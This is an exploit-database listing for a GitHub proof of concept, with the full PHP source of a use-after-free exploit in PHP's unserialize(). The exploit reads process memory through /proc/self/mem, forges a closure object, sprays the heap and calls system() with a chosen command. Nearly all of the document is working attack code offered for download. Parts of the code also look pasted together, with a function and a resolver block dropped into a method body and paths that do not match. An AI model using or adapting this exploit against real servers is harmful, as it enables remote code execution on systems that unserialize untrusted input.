Exploit database

GH-5ebdb93b3f7c28d098b0fd2fbbd85f09

gumerzzzindo/php2shell-cve-2026-109618-109619

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/lab5.php

Suggested starting filePHP · 5,711 bytes
<?php
/**
 * CVE-2026-109618 / CVE-2026-109619 — var_destroy __destruct reentrancy UAF -> RCE (local PoC).
 *
 * Target must call unserialize() on attacker-controlled data and provide a class with
 * __destruct() (the trigger class below stands in for a real gadget).
 *
 *  - var_destroy() frees the back-reference extension chunks before walking the dtor chain;
 *  - the dtor walk's i_zval_ptr_dtor() runs without BG(serialize_lock), so __destruct can
 *    re-enter unserialize() and the inner R:N reads the freed chunk;
 *  - self-locating: marker + magic + fake zend_closure is found via /proc/self/mem, and a
 *    pointer spray of 8000..8200-byte strings reclaims the freed var_entries block;
 *  - R:1500 -> fake zval (IS_OBJECT) -> fake closure -> zif_system(cmd).
 *
 * Tested: PHP 8.5.4 (Ubuntu 24.04 arm64, built from source; CLI and mod_php).
 * Usage:  php var_destroy_uaf_rce.php "id > /tmp/proof"
 */

function w64(string &$s,int $o,int $v): void { for($i=0;$i<8;$i++) $s[$o+$i]=chr(($v>>(8*$i))&0xff); }
function w32(string &$s,int $o,int $v): void { for($i=0;$i<4;$i++) $s[$o+$i]=chr(($v>>(8*$i))&0xff); }
function find_bin(): int {
    foreach (explode("\n",file_get_contents('/proc/self/maps')) as $l)
        if (strpos($l,'/sapi/cli/php')!==false && strpos($l,'r-xp')!==false) return hexdec(explode('-',$l)[0]);
    return 0;
}
function find_buf(string $m,string $magic): int {
    $fp=@fopen('/proc/self/mem','rb'); if(!$fp) return 0;
    foreach (explode("\n",file_get_contents('/proc/self/maps')) as $l) {
        if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+rw-p/',$l,$mm)) continue;
        $s=hexdec($mm[1]); $e=hexdec($mm[2]);
        if ($e-$s>64*1024*1024||$e-$s<64) continue;
        for ($off=$s; $off<$e; ) {
            $n=min(1048576,$e-$off); fseek($fp,$off); $c=@fread($fp,$n);
            if ($c===false||strlen($c)<strlen($m)) break;
            $p=0;
            while (($p=strpos($c,$m,$p))!==false) {
                fseek($fp,$off+$p+strlen($m)); if (@fread($fp,strlen($magic))===$magic) { fclose($fp); return $off+$p; }
                $p++;
            }
            $off+=strlen($c)-strlen($m)+1;
        }
    }
    fclose($fp); return 0;
}
class P {
    public static string $buf=''; public static int $zv=0;
    public function __destruct() {
        
function r8($fp2,$a){ fseek($fp2,$a); $d=fread($fp2,8); return strlen($d)===8?unpack('P',$d)[1]:0; }
$all=[]; foreach(explode("\n",file_get_contents('/proc/self/maps')) as $l){ if(preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+([0-9a-f]+)\s/',$l,$m)){ $all[]=[hexdec($m[1]),hexdec($m[2]),$m[3],(strpos($l,'/usr/local/bin/php')!==false)?1:0]; } }
$fp2=@fopen('/proc/self/mem','rb'); if(!$fp2){ fwrite(STDERR,"[!] mem\n"); return; }
$base=0; foreach($all as $M){ if($M[3]===1&&strpos($M[2],'x')!==false){ $base=$M[0]; break; } }
if(!$base){ fwrite(STDERR,"[!] base\n"); return; }
$zif=$base+0x40cc20;  /* zif_system via rela-forensics (FE 'system' -> slot -> +8) */
$hdl=r8($fp2,$base+0x1ae4d40);  /* VALUE del global zend_ce_closure */
if(!$hdl){ fwrite(STDERR,"[!] ce nula base=0x".dechex($base)."\n"); return; }
$cec=0; $real=function(){}; $real(0);
$cePat=pack('P',$hdl); $hits=[]; $budget=16000000;
foreach($all as $M){ if($M[3]===1) continue; if(strpos($M[2],'w')===false) continue; if($budget<=0) break;
  $s=max($M[0],$M[1]-4194304); $e=$M[1];
  for($o2=$s;$o2<$e;){ $n=min(524288,$e-$o2); fseek($fp2,$o2); $c=@fread($fp2,$n); if($c===false||$c==='') break;
    $budget-=strlen($c); $p=0; while(($p=strpos($c,$cePat,$p))!==false){ if($p>=24) $hits[]=$o2+$p-24; $p+=8; }
    if(strlen($c)<$n) break; $o2+=strlen($c)-24; } }
foreach(array_slice($hits,0,12) as $x){ $hd=r8($fp2,$x+16); $hh=r8($fp2,$x+8);
  if($hd>=$base+0x1b1f000&&$hd<=$base+0x1d00000&&$hh>0&&$hh<0x1000000){ $cec=$hd; break; } }
if(!$cec){ fwrite(STDERR,"[!] cec hits=".count($hits)."\n"); return; }
fwrite(STDERR,"[resolv] base=0x".dechex($base)." zif=0x".dechex($zif)." ce=0x".dechex($hdl)." cec=0x".dechex($cec)."\n");

        $marker="RPT".bin2hex(random_bytes(16)); $magic=pack('P',0x1122334455667788);
        $buf=$marker.$magic;
        $buf.=str_repeat("\0",260);                     // padding for fake zval/obj
        $obj_off=strlen($marker)+strlen($magic)+16;     // fake obj after fake zval
        // fake zval at marker+magic (16 bytes): value patched later, type IS_OBJECT
        // fake closure object at obj_off
        $o=$obj_off;
        w32($buf,$o,1); w32($buf,$o+4,8);
        w64($buf,$o+16,$cec); w64($buf,$o+24,$hdl);
        w32($buf,$o+0x38,1); w32($buf,$o+0x38+4,0);
        w32($buf,$o+0x38+32,1); w32($buf,$o+0x38+36,1);
        w64($buf,$o+0x90,$zif);
        self::$buf=$buf; unset($buf);
        $base=find_buf($marker,$magic);
        if(!$base){ fwrite(STDERR,"[!] buf not found\n"); return; }
        $zv=$base+strlen($marker)+strlen($magic);
        $obj=$zv+16;
        $g = &self::$buf;
        w64($g,strlen($marker)+strlen($magic),$obj);     // zval.value -> obj
        w32($g,strlen($marker)+strlen($magic)+8,8);      // zval.type IS_OBJECT
        unset($g); self::$zv=$zv;
        $cmd=$GLOBALS['argv'][1] ?? 'id';
        $aq=pack('P',$zv);
        $spray=[]; for($len=8000;$len<=8200;$len+=8){ $body=str_repeat($aq,intdiv($len,8)); for($k=0;$k<32;$k++){ $spray[]=$body; } }
        fwrite(STDERR,sprintf("[ptr] buf=0x%x zv=0x%x obj=0x%x\n",$base,$zv,$obj));
        $r=@unserialize('R:1500;');
        if(is_object($r)){ @$r($cmd); fwrite(STDERR,"[ptr] call ok\n"); }
        else fwrite(STDERR,"[ptr] ret=".gettype($r)."\n");
    }
}
$N=2000; $p='a:'.($N+2).':{';
for($i=0;$i<$N;$i++) $p.="i:$i;i:$i;";
$p.='i:99999;O:1:"P":0:{}';
$p.='i:99999;i:42;';
$p.='}';
@unserialize($p);